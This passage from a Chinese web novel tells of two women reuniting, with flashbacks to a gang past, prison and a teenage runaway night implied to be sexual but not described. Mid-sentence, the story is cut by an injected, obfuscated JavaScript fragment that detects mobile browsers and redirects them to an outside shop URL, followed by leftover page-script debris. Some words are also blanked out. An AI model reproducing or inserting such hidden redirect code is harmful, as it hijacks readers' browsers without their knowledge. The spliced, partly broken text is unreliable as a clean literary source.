转身在米缸之中舀出一勺大米放入电饭煲之中,倒入清水,在面板上按下煲粥的选项。 粥好了,再把她叫起来吧。 凌酒哼着歌,走向阳台的洗衣机,打开盖子,拿出已清洗干净的衣服,将一件一件对着天空扬了扬,一股清甜的橙子味便随之冒了出来,让人神清气爽。 她用的是橙子玫瑰味的洗衣液,是桔猫这个牌子。 凌酒一边晾衣服,一边记下萧清如今的喜好,如果未来真的要同居,磨合是必须的,提前容纳彼此的喜好与缺点本就是最好的方法。 一切都做完之后,凌酒打开了萧清的冰箱,里面只有纯牛羊、鸡蛋、蔬菜、沙拉酱以及她刚刚用完的最后一盒猪肉便没有其他东西了。 她怔怔站在原地,不管看多少次,她始终觉得无法接受——一个冰箱为什么能做到什么好吃好喝的都没有…… 这种事情,以后可不能再发生。 她在心中暗暗发誓。 九点三十。 凌酒打了哈欠,伸了个懒腰,拿起一旁的汤勺,一边轻轻搅拌着白粥,一边倒入准备好的猪肉,最后心满意足地合上电饭煲。 再等一会儿就好了,不过好像还缺个皮蛋,好像我家里还有,拿点下来好了。 “叮。” 门铃忽然响起,吓得她像箭一样赶紧奔向大门,生怕再响一声便惊扰到熟睡之中的萧清。 “你好,你的外卖。”外卖小哥说。 “好的,谢谢。” 凌酒开开心心地接过外卖,摆在桌子上。 十点十分。 “咚咚。” 凌酒轻轻敲着萧清的房门,“我煮了早餐,要不先吃完再睡?” “门没锁,你进来就好。” 房间里传来一股慵懒的声音,显然是赖着床还不愿意起来。 “那我进来了。” 萧清仍躺在床上,被子半蒙着脸,侧着身幽幽地看着她,“过来这里坐呗。” 一只白皙的手臂从被子里面伸了出来,轻轻在枕头旁拍打,凌酒猫着腰,蹑手蹑脚地坐在了床头。 “我要抱抱。” 还没有等凌酒回应,两只手臂已经伸了出来,紧紧环抱着那纤细而柔软的小肚子,像依恋妈妈的小孩,整张脸在她后背一遍又一遍地蹭着。。 “嘿嘿,你好舒服。”萧清埋在那温热的后背,轻轻嗅着凌酒身上的淡淡香味,“小酒子,朕的早膳都有什么?” “喳。”凌酒一秒入戏,“报!有皇上您最喜欢的皮蛋瘦肉粥、菠萝包还有萝卜糕!” “哼哼!”萧清戳了戳凌酒的痒痒肉,“这可不行!你最喜欢吃的干炒牛河还有金钱肚呢?” “你喜欢吃的,我都喜欢。” 凌酒轻轻抚摸着萧清那乱糟糟的头发。 “这可不行!小酒子,朕命令你,从现在开始要好好对待自己,你喜欢的,我也应该也会喜欢吧?”萧清话不敢说太满,“首先要爱好自己,再……爱别人。” “你不是别人。”凌酒立刻反驳。 “但世界上只有一个凌酒。”萧清捏了捏她肚子上柔软的赘肉,眼里闪着光,似乎发现新大陆一样,“你都不爱自己,那我为什么要喜欢你,对吗?” 凌酒一只一只掰开她的手指,偷笑说:“你说得对,那我现在马上去把你的菠萝包吃完,等你起床我都要饿死了。” 说完,凌酒立马站了起来。 “你敢!” 萧清整个人像弹簧一样弹了起来,用这辈子最快的速度刷牙、洗脸,然后连头都没有梳便急冲冲地跑出来客厅,才发现饭桌上已盛好了两碗粥,三个菠萝在碟子上摆成三角形的形状,连一块一块萝卜糕都被搭成一座小塔。 而凌酒则插着腰站在一旁,头抬得高高的,一脸神气地说:“怎么样?还不错吧?” “嗯呐,你是世界上最棒最无可替代的凌酒!” 沙发上。 “等一下我们要不要出去走走?” 凌酒睁开眼睛便看见萧清的下巴一耸一耸,伴随着一股清脆的声音——她正在津津有味地啃着苹果,同时目不转睛地看着目前最火的电视剧。 “不要。”萧清立马拒绝,“好不容易休个假。” “嗯。” 凌酒转过身,埋在萧清的肚子里,她的肚子并不像没有自己的结实,几乎没有一点儿锻炼的痕迹,但是那种异常的柔软却让她深陷其中。还有,大腿枕起来让她一点也不愿意起来。 所以,她觉得现在这样子或许真的比去外面约会要好得多。 如今的萧清似乎已经没有当年那种假正经,而是毫无掩饰地在向她展示最真实的一面,无论是撒娇的、伤心的、亦或者脆弱的。 其实从大排档初见,凌酒一眼就认出,那个一身职业套裙的女人是萧清。那时她眉眼间的疏离清晰可见,落落大方,俨然已是这座城市的精英,活成了所有人幻想长大的样子——优雅、精致。 对于她而言,这样子的萧清比起当年的三好学生变得更加高不可攀。 所以,凌酒不敢,不敢主动与她认领。 结果却是,萧清从未遗忘过自己,也从未讨厌过自己,相反当年的情感也许并未减少一分一毫。 那……自己是不是也可以再坦率一点? “萧清,你好厉害。” 萧清被她没头没脑一句吓一跳,“怎么突然说这个?” “没有,就是觉得你好厉害。”凌酒抱得更紧,“我好喜欢你。” 萧清盈盈一笑,暂停电视剧,指尖顺着她顺滑的长发,从头抚到尾,最后揉了揉她的脸,眼神里只剩宠溺。 “你也好厉害。”萧清抚摸她的脸颊,低头直视那亮如辰星的双眼,“以前的你可没有那么坦率,现在怎么那么勇敢?” “你。” “我?” “你喜欢我吗?” “嗯呐。”萧清点了点头,“喜欢。” “我们在一起,好不好?” 凌酒伸出手,摩挲着那张温柔的脸。 “凌小姐,我们才认识两天。” “萧小姐,可我已经喜欢你十五年了。” 初一。 中学初一。 作为刚刚从小学晋升为初中的每一个学生,都会幻想自己的中学会是那么的独一无二,那么的与众不同。 可,这种幻想,通常都会在入宿的第一天通通打破。 除了,凌酒。 她本来就对初中生活没有什么幻想,应该说连如今的生活也不太敢兴趣,不仅是没有兴趣,更多的还有厌恶与憎恨。 酒。 没有父母会希望自己的孩子成为酒鬼,哪怕是酒厂的富家公子小姐出生,父母也不会给他们起名于酒,因为名字本身通常便代表着父母对自己最大的期待或者最深的祝福。 除了,凌酒。 她的出生,没有任何期待,只是一个意外。 她的父母不过是因为醉酒一夜情便很不幸运地怀上了她。两个人,没有任何一方想要养育这个生命,从未有一点为人父母的责任,他们只觉得她是一个累赘。 母亲:“给钱,我要堕胎。” 父亲:“没钱,要么你自己生出来,要么你自己出钱堕掉。昨晚你又没叫我戴套。” 母亲:“好!你给我等着!” 于是,十月之后,一个孩子悄无声息地出现在她父亲工作的地方——尘土飞扬的工地,那时候她的父亲几乎想把这个孽种捏死,只是在其他工人的共同阻止之下,才放弃了这个念头。 但是,很快,她的父亲发现这个孽种可以让自己的父母打钱过来。凌酒的爷爷奶奶很喜欢这个可爱机灵的孩子,过节只看了几眼便已觉得是上天赐予的珍宝。 只有,凌酒的父亲除外。 农村工作人员:“所以,你们的孩子叫什么名字?赶紧的,我还要回去登记。” 她的父亲哪里会想那么多,只是举起自己的啤酒,“酒,就是喝醉酒才有这倒霉玩意儿,就叫凌酒好了。” 此刻,身为婴儿的凌酒还在对她的酒鬼父亲牙牙学语。 自从她懂事为止,她便发现自己与其他孩子根本不一样,他们每一个都有自己的爸妈疼爱,放学的时候,只要他们轻轻假装哭闹,或者手指一动,他们的父母便会买下他们最喜欢的东西。 只有她自己,连回家的路,都是自己一个人。 那时候,她才一年级。 不知从何时开始,她便发誓,既然没有人给我,那我就自己去要。 抢。 抢,永远是最快最直接的办法。 打。 她曾被同学、老师以及父亲打了无数遍,遍体鳞伤,身上几乎没有一块好肉,却没有哭出一声,甚至连一滴眼泪都没有留。她甚至已见过无数遍警察,甚至局里面的王队都已清楚记住她的名字,却没有一人拿她有办法。 她从小就知道保护自己,唯有求饶,她做不到。 被打了,那就打回去。 失败。 倒下。 又被打。 如此往复循环…… 直到某一天,赢了。 从那一天开始,她好像变了一个人一样,没有人敢惹她,没有人敢辱骂她,更没有人再打她,因为她把自己的父亲,打到进医院。 从此以后,她便开始收保护费,那时候她才六年级。 凌酒的幻想并没有被打破,哪怕她已经丧失希望,可内心深处那一份渴望,从未改变,连她自己都未曾发觉。 爱,本身就是无法掠夺的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416253|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 初中入宿。 凌酒故意提前一天一个人拖着自己的行李站在学校的门口,找到自己的宿舍,一个人清洁好自己的床铺,铺好自己床,绑好自己的蚊帐。 眼神冷漠得几乎不像一个初中生。 “咔。” 门,被拧开了。 一个人,女生,一头长发,戴着一个红色蝴蝶结,左手抱着用凉席包裹起来的枕头和蚊帐,右手抱着被子,满头大汗站在宿舍门口,一脸吃惊地看着坐在床头翘着二郎腿的凌酒。 “对……对不起,我走错宿舍了。”她退了一步,看了看门牌号,又看看留着刺猬头的凌酒,“诶,没有错。同学,这里是女生宿舍。” “我就是女生。”凌酒没好气地说,努力挺了挺微微隆起的胸部,“看不出来吗?” “6号床……你叫凌……酒?” “你几号床?” “5号,我是你的下铺,我叫……萧清。” “萧清,萧清,清清淡淡的,怪名字。”凌酒轻声吐槽。 萧清假装没有听见,直接走到自己的床铺,也跟凌酒一样,自己动手打扫卫生,只不过她更认真,连床板之间缝隙的灰尘都擦拭了一遍。 “你怎么也提前一天到?你父母呢?”凌酒忍不住开口问。 “家里有点事。”萧清坐在刚刚铺好的凉席上微微喘气,“这几天他们走不开,所以我爸爸给我叫了辆车先把我送过来,避开……避开高、峰。” 听到之后,凌酒自己心里居然泛起了一阵开心,发自内心的开心,因为她终于发现有个人也跟自己一样,连初中入宿那么重要的事情,父母都会缺席。 “噗嗤,哈哈哈哈哈哈!”凌酒大笑起来,“你说起话来怎么那么奇怪。” “我爸是是那么跟我说的。” 萧清如实回答,她也想问凌酒为什么那么早到,但是她还是忍住,也许她跟自己一样也有不得已的理由,再问下去或许有点不礼貌。 “嘿咻。”凌酒直接从上床跳了下来,“你其他东西呢?” “还在楼下。” 萧清掏出一把小扇子轻轻扇风,对于这样子的学生来说,能把这些东□□自一人抗到六楼已经是非常了不起了,剩下的,或许真的要找老师来帮忙。 凌酒二话不说,便风风火火跑了出门。萧清叹了口气,心想:自己的舍友不会像她一样都是怪人吧? 几分钟后。 “给你。” 凌酒抱着一个白色透明塑料箱子出现在她面前。 萧清凝望着面前这个大大咧咧拉开自己领口透风的女孩,眼中尽是感激,心想:也许,她是一个好人。 “谢谢。” 由衷的感谢。 那天,偌大的校园里空无一人,寂静得能听见每一片树叶掉落的声音。 凌酒和萧清便肩并肩走在悠长的校道上,在她们的旁边便是一个清澈的湖泊,阳光落在上面,波光粼粼。其中一两条不安分的鱼,跃出水面,撞出一朵水花,晕开了水平如镜的湖水。 “这个学校真好看。”萧清望着湖泊说。 “一般。” 凌酒不怎么会欣赏这些所谓的美景,学校都是一样的,讨厌的同学,唠叨的老师,一成不变的景色,不是树就是草,还有破教室,每一张脸,她看着就烦。 但是,她还是主动来上学,因为比起待在那个“家”,这里简直已经算是天堂。 “哪里一般?”萧清主动拉起凌酒的手,“你看,这个湖不是很好看吗?风也很凉爽,你可以闭上眼睛感受一下。” 凌酒从不听话,可是这一次她闭上了双眼,秋风携带湿润的水汽轻轻拂过她的脸颊,留下了舒服的凉爽,阳光被树叶过滤成浅绿色,落在她的眉间,不刺眼,也足够暖洋洋。 更重要的是,她能感受到萧清手掌的每一条纹路,能感受到那光滑的触感,不知为何她内心也泛起一丝涟漪,久违地感动突然爬上了她的心头。 那天,她们一起吃过午餐,一起吃过晚餐。凌酒已经记不清吃进口的是什么,她只记得,面前的人吃得很开心,她给自己分享了很多她未曾听闻的东西,如一个朋友般。 夜晚,凌酒怎么也睡不着想已经打算偷跑出去上网了,但是正当她伸头出来,想要翻身落地的时候,月光恰好落在萧清熟睡的脸上,宁静而安详。 如果,她醒来看见自己不在,会不会害怕一个人呢? 奇怪的想法,冒上她的心头。 最终,她还是选择闭上双眼。 那一夜,很静,很静。 她听了一夜萧清的呼吸。 往后开学之后,她发现,无论自己在做什么,去什么地方,这个长头发的女生都会有意无意地跟了过来。不知不觉之间,她们已然变得亲密无间。 在所有同学都畏惧自己的时候,唯有萧清对她始终如一。 初中班主任也很快发现,凌酒这个刺头儿谁的话都听不进去,唯独这个叫萧清的女孩子,凌酒没有拒绝一次,哪怕再怎么不愿意,她也会尝试去完成。 所以,开学之后,凌酒的同桌便一直是萧清。 “凌小姐。” “我在。” “我们重新在一起吧。” “好。” 一个字,轻得像风,却重得,压过了整整十五年的时光。 6. 第六章 距离飞鸿集团珠宝展览还有一个星期。 萧清在键盘上敲下最后一个字,手中鼠标一动,再一次重头开始逐个字审核,文字没问题,图片没问题,排版没问题。 接下来,要看看主办方的反馈了。 “写得很好,没问题。” 李先生一分钟之后发过来,结尾还跟着三个大拇指的表情。 自从寿司店那一次之后,甲方从里到外像变了个人一样,不仅客客气气,甚至时不时还送来下午茶,简直宾至如归,这本就是最不正常的事情。 萧清点击“定时发送”后,现阶段已完成全平台宣发,她坐在椅子上长长呼了一口气,但是未来还有鸿华酒店场地布置、模特沟通等等一系列问题,一想到这些本来松了口气的她,又重新紧绷起来。 但是,有一个比这些更重要的问题,一直萦绕在她的心头,她必须解决。 一看时间,已经来到晚上7点,再焦虑下去也没有任何意义。 她躺在椅子上,点开备注为小酒子的对话框,嘴角一翘,输入文字:“有空吗?过来接我,好不好?” 对面没有答复,反而一个电话打了过来。 “清清。” “怎么啦?” “我现在走不开,店里忙,要不你过来吧?我先给你煮饭,忙完了,我们再一起回去,可以吗?” “嗯呐。好,我想吃烤羊排。” “好。” 另一个一股焦急声音插了进来:“老板,快点,客人在催了!” “我是老板还是他是老板,催什么催,现在不正在炒吗?你跟他说……” 萧清噗嗤一笑,关掉了对话。 这种情况,她现在也不是第一次见了,不知不觉之间,她们一起同居已经有三天时间了,基本上忙起来的话,凌酒那股急性子又会冒了出来,萧清也尝试去过大排档里面帮忙——当然她只负责收银。 有些时候看久了,她便发现这家大排档也没有自己想象得那么糟糕,来的每一个客人脸上都会洋溢着欢乐的笑容,尤其是吃到端上来的菜之后,几乎都会忍不住赞叹一番:“你看,我就说没有来错吧。” 小小的一家大排档,居然可以有那么高的口碑,足以证明凌酒经营能力一点也不弱于其他人。 而且,她发现夜间巡逻的警察大概已经将这片区域定义为重点监察对象,下班的时候都可以时不时看见好几辆警车经过。 又美味,又安全,人气更胜从前。 和气生财,这便是凌酒的所相信的。 广宁人家。 厨房里专心炒菜的凌酒下意识一抬头,便撞见萧清那双笑吟吟的双眼,两人隔着一道玻璃窗,会心一笑。 “喂,老板娘,收钱。”有一桌冲着萧清喊。 凌酒指了指那一桌人,再指了指萧清,萧清摇摇头,作出一个口势——我才是老板。 凌酒撇了撇嘴,撂下铲子,摆出放弃的架势——你自己来炒。 “喂,到底谁来收钱?”那人开始不耐烦。 “一共153块,老板今天开心,给你抹个零头,给我150块就好了。”萧清拿着收银机过来,“我扫你。” “谢谢,老板娘!” “……” 十点。 凌酒洗了洗脸,咬了颗口香糖,走进了内间,发现萧清已经躺在沙发上,睡着了,手中还抱着今天她脱下的外套,上面深蓝色的口水痕迹清晰可见。 “喂,回家啦。” 她轻轻拍打着萧清的脸,在她耳边轻轻说。 萧清揉了揉惺忪的睡眼,打了个大大的哈欠,“好,走吧。” “等一下,你这里有点脏。”凌酒指着她的肩膀说。 “哪……” 这一转身,两人的嘴唇恰巧贴了一起。凌酒狡黠地眨了眨眼,显然这是她的阴谋诡计,萧清刚想推开,凌酒反而顺势而为,整个人压了上去,迫不及待索取着她渴望已久的吻。 萧清也不再抵抗,双手环抱着她的脖子,闭上眼睛,享受着这突如其来的温柔,恶作剧的心思忽然冒出来,她舌尖轻轻叩开凌酒的齿间,很快与那条软乎乎的舌尖缠在一起。 “啧啧。” 水声,不经意间从两人的嘴缝之间漏出。 萧清缓缓睁开眼,发现凌酒也一样紧紧闭上双眼,心想:看我还不报仇。 她猛地把舌头往回缩,还沉浸在其中的凌酒显然不满足,仍然想乘胜追击,这一伸,便被萧清的牙齿轻轻咬住。 细微的痛感让凌酒瞬间睁眼,正对上萧清恶作剧得逞的小眼神。 “现在愿意回家了吗?” 萧清松开牙齿,紧紧抱着埋在自己脖子,贪婪地嗅着自己气味的人儿。 “好。” 路灯。 忽明忽暗的路灯,在深夜之中一眨一眨。 这条昏暗的路,本来应该是萧清最害怕的一段路程。如今,她却走得很慢,很慢,仿佛根本不愿意回家。手中源源不断传来的暖意,那双并不小的手掌如今正在被她紧紧握在手中,十指相扣代表着,她不会再是一个人。 凌酒举起了彼此紧握的手,“辛苦了。” “你也辛苦了。累的话,可以靠过来。” 萧清松开手停了下来,面前的凌酒比她高大约比自己高三四厘米,她微微伸出手,用力揉了揉面前的长发直至变成乱七八糟她才心满意足的放手,她走前半步,抬了抬肩膀。 凌酒会心一笑,枕靠在她的肩膀上,一股甜橙的气味洗涤着她身上的疲惫,她忍不住像只小猫一样蹭了蹭。 “啾。” “呀。”萧清小声惊呼,“你干嘛!” “你的脖子,好看。”凌酒故意又亲了上去。 “大庭广众之下!” “你不也是?” “哪里!” “我们,”凌酒故意在她耳边呼气,“不是抱在一起吗?” “那再抱一会儿。” “叮——九楼到了。” 萧清打开房门,如今的902已然焕然一新。 玄关处新添了一个鞋柜,拖鞋、凉鞋、休闲鞋以及高跟鞋被分门别类地放在一起,并且贴心地标上两人名字的标签,避免搞混,这也是萧清为了纠正凌酒不爱收拾的坏习惯。 鞋柜之上有两个浅黄色的碗,上面刻画着兔子吃草的可爱图案,这是她们两个放钥匙的地方。 在一旁贴墙的是玻璃展示柜,萧清曾经收集的小手办全部都摆放在里面,而最前面的是两个从未见过的木刻手办——一只是橘色的小猫,眯着双眼,得意抬起头,一只则是黄色的小柴犬,睁着圆圆的小眼睛,笑看前方。 这是凌酒某一天刷淘宝看见,她觉得小猫很像萧清的模样,萧清则觉得小柴犬简直神似凌酒,于是她们都买了下来,凑成了一对儿。 自是一对儿,便亲密无间,无话不谈。 “凌酒,飞鸿集团便是红花会,对吗?”萧清问,“你们,还在联系。” 凌酒点点头,“当年你认识的阿飞,铁头七,他们都在。放心我说过,我不会回去。” 这些名字一说出口,萧清的脑海里便自动回忆起当年的生活。 铁头七,曾经是一个大光头,江湖传言,他能一口气撞穿十块砖头而得名。但是,萧清更清楚,他铁头出名不是因为砖头,而是在打架的时候,以一己之力将凌酒的右手撞到骨折。 赵飞霞,记忆里面,他曾是一个小矮个,甚至比自己还要矮,黑黑瘦瘦,沉默寡言,但说到必然会做到。他没有绰号,阿飞便是他的名字,一如当年那本很火的武侠小说,出手快准狠,不达目标誓不罢休。只有一件事,他失言了——打败凌酒。 他们都曾与凌酒有不共戴天之仇,因为他们的存在,萧清当年已经不知道在医院撕心裂肺哭了多少次。 她,怎能忘记? 所以,她从不能理解,为什么凌酒还能和这些人在一起,为什么还能一起组建红花会? 萧清咬了咬唇,她当年只觉得,他们一定是凌酒的负累,一定会成为压死凌酒的最后一根稻草。可对于凌酒而言,他们都是不可替代的兄弟,她以前也好,现在也罢,从来没有权利,也不能控制她的生活。 但是…… “我可以照顾好自己,所以我不希望你为了我再去过曾经的生活。” 她贴着凌酒的额头,指尖滑过疤痕,隐藏在衣服底下腰间的疤痕,在光滑的肌肤之中突兀地突了起来,粗糙而丑陋。 像这样子的疤痕,凌酒身上还有十多处,或长或短,或深或浅。每一次触及,萧清内心都会泛起一阵又一阵的心疼——她本不应遭受那么多不应该承受的痛苦。 凌酒却从不心疼,她只觉得这是一种荣耀,每一条伤疤都代表自己的反抗,象征自己的成功,已形成一种奇妙的底气与骄傲。 这些,萧清比任何人都清楚。 所以,兜兜转转,问题始终存在。 “这一次,我不会离开你的。”凌酒牵起那只衣服底下的手,紧贴自己的脸颊。 “我是害怕你受伤。你以为你走得了吗?” “我记得的,首先照顾好自己。现在的我不是‘女儿红’,只是你的凌酒。” 浴室。 热水自花洒而喷出,落在凌酒的脸上,沿着曲线,流遍全身,泛出层层白雾。雾中隐隐透出一双金黄色的竖瞳,不可一世地审判世间的一切。雾气淡了,一条栩栩如生的黑龙赫然出现,就如在九天之上腾云驾雾、张牙舞爪。 曾经,这纹身便是“女儿红”的象征。当年从未有一个女人敢在身上纹如此一条黑龙,只有她,只有她咬着牙忍着痛,坚持了下来——只为让别人惧她。 只有恐惧,才会有尊敬。 现在,恐惧只会带来担心,没有意义的担心。 她闭上眼睛,抚摸着自己身上的一条又一条疤痕,它们就如红褐色的大肉虫紧紧依附自己,吮吸着自己过去的记忆。 以前,她不懂,为什么萧清会害怕□□?她应该感到光荣,有她的存在,没有一个人会欺负她,没有一个人敢伤害她。 她在担心什么? 受伤?打架本就会受伤。 医院?受伤了自然要住院。 报仇?伤好了自然要打过去。 这些,本就是最公平的事情。 当年的她,什么都不懂。 这些年,在监狱里,她才醒悟过来,萧清害怕的是会失去自己,一如自己身边已空无一人,只剩下寂寞、思念、后悔。 水声,骤停。 镜子里的人,双 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凌酒没有说话,只是握着她的手,不愿放开,那是没有一丝暖意,冷如寒冰的一只手。 萧清没有再问下去,只是轻轻下床,仍由这双冰冷的手牵着自己。她走,她便走,她停,她便停。路上,她从未问过一句话,哪怕翻出校门那一刻,萧清也一言不发。 她没有办法置之不理,如果连自己也放弃凌酒了,她在这个世界上或许真的孑然一身。 目的地是一家旅馆,破烂不堪的旅馆。 腐朽的味道,难闻的烟味,闷热的空气。 不需要身份证,不需要任何登记,当然也没有监控。 只需要钱,恰好,凌酒只剩下钱。 这是萧清第一次开房。 “你真的把那个人打到残废了吗?”萧清忍不住问,“学校每一个人都在传,现在你是逃犯。” 凌酒默言,只是抱着她不放,萧清感觉到她冰冷的体温,颤抖的身体。那时候,房间同样黑暗,她躺在床上,任由凌酒覆上她的唇,粗暴慌乱的吻,如雨点般落在她的身上。 她没有反抗,正如凌酒没有回答。 吻,停了。 萧清推开压在自己身上的凌酒,拖起那双没有体温的手,她也不知道自己哪里来的力气,竟能把她拉在浴室,老旧的浴室,刺鼻的尿味,让她微微皱眉。 花洒,打开了。 所幸出来的是热水。 萧清便和她挤在狭窄的浴室,坐在肮脏的地板,她紧紧抱着失神的凌酒,从天而降的热水,一点一滴淋湿了她们的校服,一点一滴冲刷身上的寒冷,留下让人深深迷恋的温暖。 “不……不是我做的。”凌酒喃喃道,“你相信我吗?” “我相信你。” 萧清贴着她的额头,她从未见过如此脆弱的凌酒,哪怕被打得住医院,她也可以笑着对她比耶,如今她却在自己面前失声痛哭,浑身软绵绵得没有一丝力气。 “萧清,我……我该怎么办?” 她抬起头,那双哭肿的眼睛之中,倒映出唯一的希望。 逃。 逃去没有人认识你的地方,重新开始。 漫画也好,电视剧也罢,都是那么演的——男主角总能成功脱身,自证清白,然后从此跟女主角光明正大、幸幸福福地在一起。 我们,也可以。 对吗? 萧清缓缓开口,“找警察,跟他们说清楚。” 她清楚,这是现实。 她们并不是什么故事之中的主角,她们甚至才16岁。 “不……” 吻。 温暖的吻。 从未有如此温暖的吻。 萧清没有给凌酒说话的余地,只是紧紧将她压在墙上,捏着她的下巴,踮起脚尖,居高临下地望着那双慌乱的眼神。 “凌酒,你在害怕什么?” “我……” “我会等你,无论多久。” “我不敢……” 凌酒哭得像一个孩子,一个孤独无助的孩子。 “好,我陪你,陪到你敢为止。” 那一晚,萧清将自己的一切都交予了凌酒。 她们一共在旅馆度过了整整三天。 没有人知道,这三天,她们是怎么度过的。 人们只知道在第三天,萧清牵着凌酒的手走出了旅馆,阳光之下她们手指上的用白纸制成的戒环竟如钻石耀眼,两个人一步一脚印,踏上了前往警察局的路上。 手铐。 钢铁的手铐,如冰一般的手铐。 “咔嚓。” 分开了,她们的十指相扣。 “我等你。” “不了,我们分手吧。” 一对戒指,在凌酒手中撕得粉碎。 那天,萧清没哭没闹,只是一个人走回学校,跟老师和父母一遍又一遍描述这三天发生的事情,平静得像在诉说一件完全与她无关的故事。 “我,不后悔。” 7. 第七章 “我不想重蹈覆辙。” 萧清没有拥抱,只是一只手贴着她的脸颊,泪水源源不断地流进她的手心。 “工作本来就没有简单轻松的,如果因为我的存在,你再和曾经的红花会扯上关系,你觉得我会怎么想?” 萧清不得不承认,她也有自己的私心,她知道红花会是凌酒的过去,她也知道凌酒有权利选择她的朋友,选择她的生活。 这是,凌酒的权利。 可,她同样没有义务去接受。 凌酒挣脱了她的手,缩回被窝,埋在她的胸前,双手紧紧搂着她的腰,仿佛是一个受惊的孩子。 “我现在告诉你。” 监狱。 凌酒一直以为探监的会是阿飞他们,可是不管哪一个,红花会的人一个都没有来。 她记得,他们曾经在关二爷面前发誓,荣辱与共,不分你我。如今看来,这誓言也不过一纸空书,自我感动罢了。 她曾以为,红花会是自己的家。 现在看来,这个家也没有什么了不起的。 来的只有一个人,永远只有一个人——萧清。 凌酒拒绝,没有一次相见。 监狱从来不是好学生应该来的地方。 这次,要求见她的,却是一个中年人,一个她从不认识的中年人。 “‘女儿红’,你比我想象的还要讲义气。” 那人坐在她对面,缓缓开口。 鬓白的头发,脸上每一条皱纹都刻有岁月的痕迹,铸造了沧桑而冷酷的面容,笔直贴身的黑色西装,居然没有中年人的大腹便便,他依旧如青竹般笔直,屹立不倒。 这种气质,如阿飞如出一辙。 “你是谁?” 男人看了看身边的警察,周遭的人瞬间离开,偌大的房间只剩下他们两个人。 男人从口袋里掏出一盒烟,倒出一根,首先递给了凌酒,起身走到她身边,弯下腰,帮她点火。 “呼——”凌酒深深吐出一口白烟,“阿飞派你来的?有话快说。” “我以为,你会害怕。”男人拿出一根雪茄,轻轻点燃,“你有没有想过,为什么你可以创立红花会?” “因为,我们能打。” 男人没有否定,只是冷冷说:“凌酒,睁大你的眼睛看一看。” 凌酒看了看空无一人的四周,她忽然明白,不是因为她能打,其他人让路只有一个原因——面前这个男人的指令。 “是你,是你让其他大佬让路。”凌酒轻蔑一笑,“这当然不是为了我,为了……阿飞,对吗?” “为人父,不是一件简单的事情。”男人呼出一口烟圈,“你能明白就再好不过了。” “所以,这是他做的?”凌酒问,“他清楚你的做法吗?” “五百万。” “如果,我不答应呢?” “我没有在征求你的意见,我出现在这里,仅仅是作为一个父亲,出来混,总是要还的。这五百万,是义气。” “义气,只值这个数?”凌酒冷笑,“我一定会出去,我没有做过,我会证明自己无罪的!” “萧清。” 男人缓缓说出一个名字,一个在凌酒心中最柔软的名字。 “她为了你,错过了中考。我的学校刚好有名额可以让她明年再考,我们一个重点班的老师觉得她很有潜力,打算倾囊相授。” 凌酒挣扎动摇的样子,让男人不禁一笑。 感情,永远是他最大的底牌,尤其是对于这些人来讲。 “据说,她的父母要带她去另外一所城市生活,新的城市,新的工作,新的生活,这些都不容易。失意的父母,失足的女儿,你觉得在一个家庭里会怎么样?” “你到底想怎么样?” “我的孩子天真,他打算替你认。所以,我希望你能主动认罪,坐八年,出来又是一条好汉。”男人忽然变得很和蔼,和蔼得就像楼下公园的爷爷,“你的小女朋友,未来一定会顺风顺水。” “好。” 凌酒。 蓄意伤人致残,兼之从事□□活动,罪名成立。 入狱,八年。 暑假的最后一天。 萧清接了一个陌生电话,对面说自己是王队。 他说:“凌酒主动认罪,被判八年。” 他还说:“凌酒要我跟你说,她对不起你。” “啪。” 屏幕裂开。 一如她的心。 “这就是当年的真相。” 凌酒声音很轻,轻得像一片落在刀尖上的雪。 “你……你怎么能!” 萧清猛地推开怀里的人,胸口剧烈起伏,剩下的话堵在喉咙里,碎成一片颤抖。 痛。 彻骨的痛。 痛得她几乎无法呼吸。 苦涩。 苦得发涩的眼泪。 一涌而出,堵住了所有声音。 凌酒……凌酒…… 你怎么敢,用自己一生清白,来换我微不足道的未来! 她在心底嘶吼,声嘶力竭,只剩一片死寂的回音。“我……对……对不起!”萧清终于崩溃,嚎啕大哭。 凌酒没有辩解,只是轻轻牵起她的手,按在自己肩头那道冰冷的纹身上。 “你问我,还会不会回红花会。”她目光沉静,“你才是我唯一的家人,我又何必,舍近求远。” 她顿了顿,声音里露出几分狼狈:“对不起。我不该再去找阿飞,可我控制不住。看见你上次那副模样,我……我只想拼了命护着你。” “你知道怎么样保护我吗?” 萧清泪眼朦胧,望着她。 凌酒靠了过去,将她拥入怀中。 “现在知道了。” 当年,她打遍天下无敌手。 她以为能保护好自己。 她唯一忘了,真正能伤到自己的,从来都是自己最亲的人 安全也罢。 爱,也好。 其实,一直握在自己手中。 “你是个笨蛋。” “我是个笨蛋。”凌酒笑出声。 “很笨很笨的笨蛋。”萧清笑出声。 “很笨很笨的笨蛋。” “我爱你。” “我知道,对不起,我现在才知道。” 大雨。 倾盆大雨从天而降,肆意冲刷着地上的一切,到处都是白茫茫的一片。 “起床。” 萧清一件衣服扔在凌酒熟睡的脸上。 “怎……怎么了!”凌酒如梦初醒,“着火了吗?” “不是这里着火。” “那快跑,还穿什么衣服!” 凌酒翻身下床,衣服来不及不穿,直接裹着被子,便拉上还在镜子面前扣扣子的萧清跑出卧室。 “哈哈哈哈哈哈!”萧清边跑边在后面笑。 “你在耍我?”凌酒松开手,鼓着腮帮子坐在地板上。 “没有啦。”萧清也蹲了下来,“帮我个忙,好吗?凌小姐。” “萧小姐,犯法的我可不做。” “当我司机。”萧清把钥匙交到她手上,“四个轮的,会开吗?” 凌酒没有回答,只是闭上眼睛,伸出双手。 “啾。” 萧清吻了上去,“够不够?” “不够。”凌酒笑得嘴都要翘上天了。 “不够也没有了!” “那欠着,可以吗?”凌酒撒娇。 “看你表现。” “目的地是?” “鸿华酒店。” 鸿华酒店。 距离飞鸿集团开幕仪式,还剩下最后三十分钟。 “不好啦,不好啦!阿清!” 阿月冲到后台对正在调动人员的萧清大喊。 “冷静,深呼吸,说。” “阿清,阿清,有个模特临时联系不到,上不了台啊啊啊!” “备用呢?” 